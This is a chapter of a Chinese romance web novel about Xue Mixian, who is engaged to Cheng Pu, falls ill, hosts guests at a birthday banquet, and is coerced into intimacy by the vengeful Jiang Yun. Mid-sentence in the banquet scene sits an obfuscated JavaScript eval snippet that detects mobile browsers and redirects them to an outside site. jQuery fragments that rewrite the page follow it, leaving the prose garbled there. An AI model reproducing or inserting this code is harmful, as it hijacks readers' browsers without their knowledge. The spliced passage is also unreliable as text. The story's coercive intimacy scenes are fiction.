12. 念想

作品:《仇敌之妻

    “姑娘,昨晚可是魇着了?”


    蕴娘放下梳子,自铜盆中拧出湿帕递过去,脸上满是担心。


    镜中美人脸色略有些苍白,眸光黯淡,瞧着没什么精神,甚至隐约有几分病色。


    薛宓娴揉了揉隐隐作痛的脑袋,微不可察地叹了口气,拿起一旁的香粉,手却不自觉地微微发抖。


    被江昀翻来覆去地折腾了一宿,她都不记得自己是何时睡过去的了,或许,应该说是昏过去更恰当些。


    她想不通究竟是什么人能有这般旺盛的精力,浑身力气仿佛用不完似的。


    有时,她以为就要到此为止了,可刚刚平息不久,灼热而又缠绵的吻再次压下来,一切又周而复始。


    待她醒来之时,床榻上的狼藉已经收拾干净了。贴身衣裳都穿得齐整,连春风一度后留在肤上的痕迹也都被清理了个干净。


    除去枕下的平安玉被他拿走了,其余陈设都并未有任何异样。


    若非腰腹和小腿处的肌肉持续乏力酸胀,她几乎又要以为昨夜情事只是一场荒唐噩梦了。


    早饭并无胃口,不知是否江昀做得太狠,薛宓娴只感觉四肢如同灌了铅一般发沉,做什么都提不起力气。


    她勉强撑着去程老夫人那儿问了安,回来后不过靠坐了半个时辰,便头晕目眩起来,浑身发冷,连坐都坐不住,只能和衣靠在软枕上。


    蕴娘端了茶点来,吓了一跳,连忙就要去回了程老夫人,却被拦下了:


    “别去……”


    薛宓娴抿了抿唇,身体打了个寒颤,抬手拉住蕴娘的袖子,有气无力地说道:


    “我略靠一会儿就好。”


    蕴娘握上她的手,用帕子反复地擦着掌心降温,着急道:


    “这要如何说得呢?姑娘生病了,自然得回了老太太,请个大夫来瞧瞧是正经。”


    薛宓娴摇了摇头,实在支撑不住,阖眸轻叹了口气,柔声道:


    “蕴娘,你关心我,我自然感激得很。可老太太若是知晓了,定然是会先罚了你。再者,昨日我替沈姐姐干了活儿,老太太还会怨她的不是,这院子里从上到下,少不得要轮番讨伐一番。”


    “沈姐姐她们也许不会多想,但底下那些婆子们可就两说了。她们本就当我是外来的姑娘,赶着运道才能攀上程家的高枝。前些天我不过是多问了两句采买的事,便说些什么还没进门当上二夫人,就在这里摆谱的话。”


    “这会儿不过是一点小病,若是连累她们被罚了月钱,接下来又不知要在何处抱怨。这些天沈姐姐忙着寿宴的事,已然是不可开交,老太太也困乏得很,接连宴席也是劳神的。我们便不要声张了,好不好?”


    蕴娘咬了咬唇,皱眉道:


    “姑娘怎这般想?那些人多嘴多舌,该她们的不是。婚事已经定下了,她们就是瞧您家里没个依靠,才这般人前人后两副面孔。下回再有这样的事,可不能再轻饶了她们。”


    “对了,听说今儿大夫又来给二公子施针,我去瞧瞧,请他来一趟。”


    说完,她扶着薛宓娴躺下,掖好被子,转身急匆匆出去了。


    薛宓娴感觉自己的神魂逐渐脱离身体,似乎躺在了云端,身体软绵绵的,思绪也模模糊糊地来回打转。


    半睡半醒间,她感觉有人在碰自己的手,而后那不速之客又贴上自己的脸,再轻抚上那柔软温热的唇,手指轻轻探入她的口中,紧接着塞了什么东西进来。


    轻轻一抿,浓重的苦涩药味便瞬间弥漫在舌尖,她呜咽了一声,抓住那人的袖子,隐隐的泣音听着便惹人心疼:


    “我想回家……”


    那张如花似玉的美人面上染着病色,在原本那明艳动人的姿容之上,添了一笔恰到好处的娇柔。眸中蕴着朦胧的湿潮,招人怜爱之余,又不失多情媚意。


    江昀垂眸看着她,手紧紧攥成了拳,指甲没入掌心,传来刺痛。


    片刻后,他回过神来,状若冷静地抽出自己的袖子,摇了摇头,嗤笑一声。


    他伸出手摸上她的眉骨,覆上那双总是能让人心颤桃花眸,似乎这样便能隔绝那些阴暗低劣的念想。


    或许是因为发着烧,榻上的美人忍不住轻声闷哼,带着细微的喘息,如同细密的钩子,刺激着他不断动摇的底线。


    良久,他呼出一口气,眸色暗了下来,冷着脸,转身离去。


    ……


    薛宓娴再次醒来的时候,已是天昏日暮。


    蕴娘见她醒了,连忙斟了一盏温茶端过来,扶着她缓缓喝下。


    身上盈着暖意,薛宓娴下意识地裹了裹被子,开口道:


    “我睡了多久?”


    蕴娘回答:


    “有几个时辰呢。”


    “好在大夫说只是偶感风寒,那药方子只开了一服,再发起热症便去煎来喝下,若就此退了,倒不用吃了。”


    薛宓娴问道:


    “大夫走了?”


    “还在候着呢,他说等姑娘醒了,再来把个脉才放心。”


    见薛宓娴精神好了不少,蕴娘悬着的心也稍稍放松了些,又端来一个小瓷碗,里头盛着热乎乎的神仙粥:


    “这是二公子吩咐备下的。”


    薛宓娴蹙起眉头:


    “你怎么还去打扰了他?”


    蕴娘眨了眨眼睛,“诶呀”了一声,凑近了些,压低声音道:


    “我本来不想的,谁知道大夫已经走出了院子,二公子还有话要同他说,一来二去,这才遇上的。”


    “不过,姑娘可不知晓,二公子听说姑娘病了,脸色苍白,急匆匆就往这儿赶,我们都险些跟不上他。”


    “但姑娘放心就是了,二公子知晓那些顾虑,并未声张,老太太那便还瞒着呢。银子都挂在了他的账上,还另外多留了一些,让小厨房的婆子们好生照顾姑娘。”


    薛宓娴又开口道:


    “二哥哥身子不好,你还让他费心。”


    蕴娘笑着说道:


    “二公子这会儿见客去了。他让我告诉姑娘,您往后就当自己是府里的二夫人,凡事不必多心。再有人叫您受了委屈,直把名姓报过去,无论有谁罩着都不管用,他自会处置。”


    “要我说,二公子当真是欢喜姑娘,我呀,就盼着早日改口叫夫人了。”


    薛宓娴偏过头,脸上瞬间泛起微红,轻轻哼了一声。


    ……


    喝完粥,蕴娘去请张珏进来。


    隔着一道纱帘,他放下医箱,朝薛宓娴行了个礼:


    “姑娘将手递与我吧。”


    他声音清冷而又不失礼数,神色淡然,略微有些单薄的素衣勾勒出优越的身材轮廓,不免让人生出几分飘渺近仙的错觉。


    诊脉后,张珏也不用再调整方子,只说让她小心不要受凉,多休息几日便能见好。


    薛宓娴寻了个由头支开蕴娘,同时叫住了张珏,抬手拨开纱帘,柔声道:


    “今日,有劳你了。”


    张珏低下头,避开视线,晦暗的光线中,他耳朵红得厉害,只是声音依旧不见波澜:


    “医者份内之事,姑娘客气。”


    薛宓娴笑了笑,披上外袍,翻出那本游记,递了过去:


    “你瞧瞧,昨日在库房找的,可是这个?”


    张珏怔了一下,结果翻了翻,眸中闪过一瞬的欣喜,转而又压了下去:


    “姑娘,我……”


    薛宓娴垂眸轻笑,打断了他的话:


    “记得月末之前还我就好。你不愿意让二哥哥知晓,想来定然有你的理由。”


    “此事他不知情,是借在我名下的。”


    手指在书页边缘摩挲着,张珏抿了抿唇,说道:


    “我欠姑娘的人情,来日定会补上。”


    薛宓娴话音一转:


    “既然如此,倒真有件事。”


    张珏静静地等着,没有说话。


    她接着说道:


    “你若是有心,能替我解了书中的困惑,自然也就还了这个情。”


    “我知道你的秘密。”


    “我们是同病相怜之人,更要相互扶持,是不是?”


    她的声音温柔轻润,不管是在说什么话,都有一种娓娓道来之感。


    张珏不自觉地看过去,已是无意中沉醉于那双漂亮的美人眸中。


    喉结滚了滚,他低声应下,将游记收好,行礼告辞。


    ……


    果真如他所言,薛宓娴不过是睡了几日,再起身已经大好了。


    病来如山倒,病去如抽丝,身上松快不少,她的心情也跟着好了许多。


    时至小满,正是程老夫人寿辰。


    原本家宴只说要府里的人来,但前一日的宴请的官家女眷,有不少留了下来,想着陪着老夫人再热闹一回,旁人自然也没有阻拦的道理。


    只是这样一来,又辛苦了沈楹。


    沈楹是后来才知晓薛宓娴生病一事,也明白她没有声张,是为了周全自己,所以操持这些家事根本不让薛宓娴再费心。


    更何况,她早就做了两手准备,即便赴宴的人略多,安设坐席也不见忙乱,添酒布菜的婢女婆子们虽多,却井然有序,让人挑不出半点错处。


    撤了一轮的菜,程老夫人环顾四周,对身旁的莳莺随口说道:


    “程荇怎么不见?”


    莳莺以为有什么急事,连忙又去问沈楹。


    沈楹怔了一下,身旁的婆子们还排着队等她说话,只得搪塞道:


    “许是回屋里换衣裳了,让老太太莫担心,我一会儿去唤他来。”


    待人都散了,她才招来霜娘,问是怎么回事。


    霜娘看着沈楹,低声道:


    “夫人是知晓大公子性子的,方才他说了要回屋,这会儿想来又不知到何处醉去了。”


    沈楹蹙起眉头:


    “今日是老太太寿宴,他还有那闲心去外面寻快活?”


    霜娘低头不答。


    ……


    江昀不过在开宴时露了个面,随后便推说身上不快,回了别院。


    他既然不在,薛宓娴也不必时刻紧张。


    她坐在程菩身侧,虽说是家宴,可那些女眷都是知晓这门亲事的,故而来给程菩敬酒的时候,也不忘捎了她的份儿。


    只可惜,薛宓娴不怎么喝酒,只不过一小盅,便已红了脸。


    程菩从人群中脱了身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956654|193155||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,眼看着还有人来敬,便先让蕴娘扶着薛宓娴去一旁歇着,而后开口道:


    “她不常饮酒,夫人们莫要为难了,让我代她陪着。今儿各位都是给足了脸面,程某在此谢过。”


    应付那些人的时候,他还不忘叮嘱让人去给薛宓娴送杯温茶缓缓,若是难受得厉害,直接离席回屋也使得。


    可到底是程老夫人的寿宴,薛宓娴喝过茶,感觉好些了,便去陪着程老夫人看戏说话。


    有着程菩先前的言行,夫人们不再敬酒,只是轮番和薛宓娴套近乎,扯些家常闲话。


    一来是为了试探程菩未来的枕边人的深浅,二来便是为了在她面前露个脸,依着程菩方才那股子疼惜的劲儿,来日若是有什么大事求不动程菩,还可以从她这里入手。


    薛宓娴在聊天上自有一番玲珑心思,人长得漂亮不说,说出口的话也尽是体贴,对于闲谈时的分寸拿捏得精准,听得程老夫人眉眼含笑,慈爱地摸了摸她的手,夸道:


    “还是娴娘的功夫厉害,旁人学也学不来。菩儿这般好的福气,也不知该上哪里求去。”


    程菩恰好进来,听见这番话,笑着说道:


    “正是要对老太太千恩万谢的,替我择了门称心如意的亲事。得妻如此,又复何求?”


    他手里端着个小碟子,心里是担心薛宓娴方才席上吃得不多,便又拣了几样对她口味的点心,同时还温了花茶,放在就手的地方备着。


    薛宓娴望着他,莞尔一笑。


    ……


    程老夫人乏得快,不过又略吃了杯茶,便搭着莳莺的手,回屋去歇着了。


    一时散了宴,薛宓娴让蕴娘先回,本想去找程菩说几句话,却不料低头想心事的功夫,走岔了路。


    江昀久候多时,直接拉住了她,将人带到了廊下阴影里,紧挨着花圃。


    薛宓娴看了他一眼,即便再如何不想见,也得装出样子来,笑了笑:


    “可有何事?”


    笑意不达眼底,有些勉强。


    江昀看着她,缓缓俯身凑近了些,低声道:


    “对程二哥那般柔情似水,只怕是把我忘干净了。”


    薛宓娴偏头想躲开,却被他捏住了下巴,无处可逃,被迫直视着那双眸中蔓上的欲/火。


    她没有别的选择,只能顺从着江昀的心意,说些他喜欢听的话:


    “我想着你的。”


    江昀嗤笑一声,松了手,只是用身体将她压在角落,哑声道:


    “空口无凭。”


    四目相对,他的视线沿着桃花眸缓缓向下,落在那泛着柔泽的唇上,停留了片刻,转而又收了回去,等着她上钩。


    薛宓娴咬了咬牙,自然知道他要做什么。


    他向来不喜欢直接挑明,往往是暗示过后,便等着她主动。若是猜错了心意,惩罚也是少不了的,轻重与否,全看他的意思。


    他不肯低头,她便只能勾着颈,微微踮起脚,仰起头去碰他的唇,浅浅啄了几下。


    即将撤开的瞬间,江昀的手扣住那纤细柔软的腰,将人按向自己。


    浅浅的酒意混着他身上的沉木香,在薛宓娴的唇上舌尖晕染开来,呼吸乱了节奏,赖以生存的气息被毫不留情地掠夺,让她恍然间有种快要窒息的错觉。


    可隐隐的,身体深处又涌动着另一种奇异的渴求。


    她从前不是这样的,可经历几次肌肤之亲后,江昀便在她身上留下了这样的烙印。


    只要有类似的感觉,就会不由自主地给出反应,渐渐形成了一种暧昧的本能,让她下意识地去容纳与逢迎。


    唇上胭脂已经化了不少,层叠的痕迹在清浅的月色下泛着细碎的光。


    江昀看着那双桃花眸中情动的潮泽,心底忽然生出了一种别样的感触。


    方才往来宾客众多,她在宴上却落落大方,游刃有余,不露怯意。如同枝头盛绽的花,美则美矣,却总是少了几分味道。


    唯独要把那花枝折下来,养在他的手中,看着那花瓣上沁染晨露与暮霜,沾透独属于他的气味,才是恰到好处的动人姿态。


    手指轻轻揉捏着她的耳垂,湿热的吐息洒落在耳畔,他的手按在她的头后,珠玉钗饰晃荡轻响,吻再次压抑着落了下来。


    薛宓娴在他的唇上咬下去,想要推开:


    “你这个疯子!”


    江昀闷哼一声,却没有松懈半分力气,只是紧紧攥着那皓腕,压制她的反抗,而后继续做自己的事。


    薛宓娴靠在墙上,丝丝缕缕的凉意透过衣裙,蔓延至四肢。


    她经承不住这般,已然无力挣扎,微微仰起头,迷离的眸中失去了方向。


    江昀微微退开些,捏着她的脸,欣赏了一番此刻的模样,手指抚过那柔软的唇,在她的颊侧匀开一片水痕。


    他已经被仇恨塑成了不人不鬼的模样,寡廉鲜耻,不顾礼常。


    她凭什么能同明月一般悬于高台之上?


    她又凭什么能与那等佛面蛇心之人,有人人称羡的美满?


    他要拉她染尘埃,拉她入泥潭,要让她成为和自己一样的人。


    这也是程菩应得的报复。


    他心想。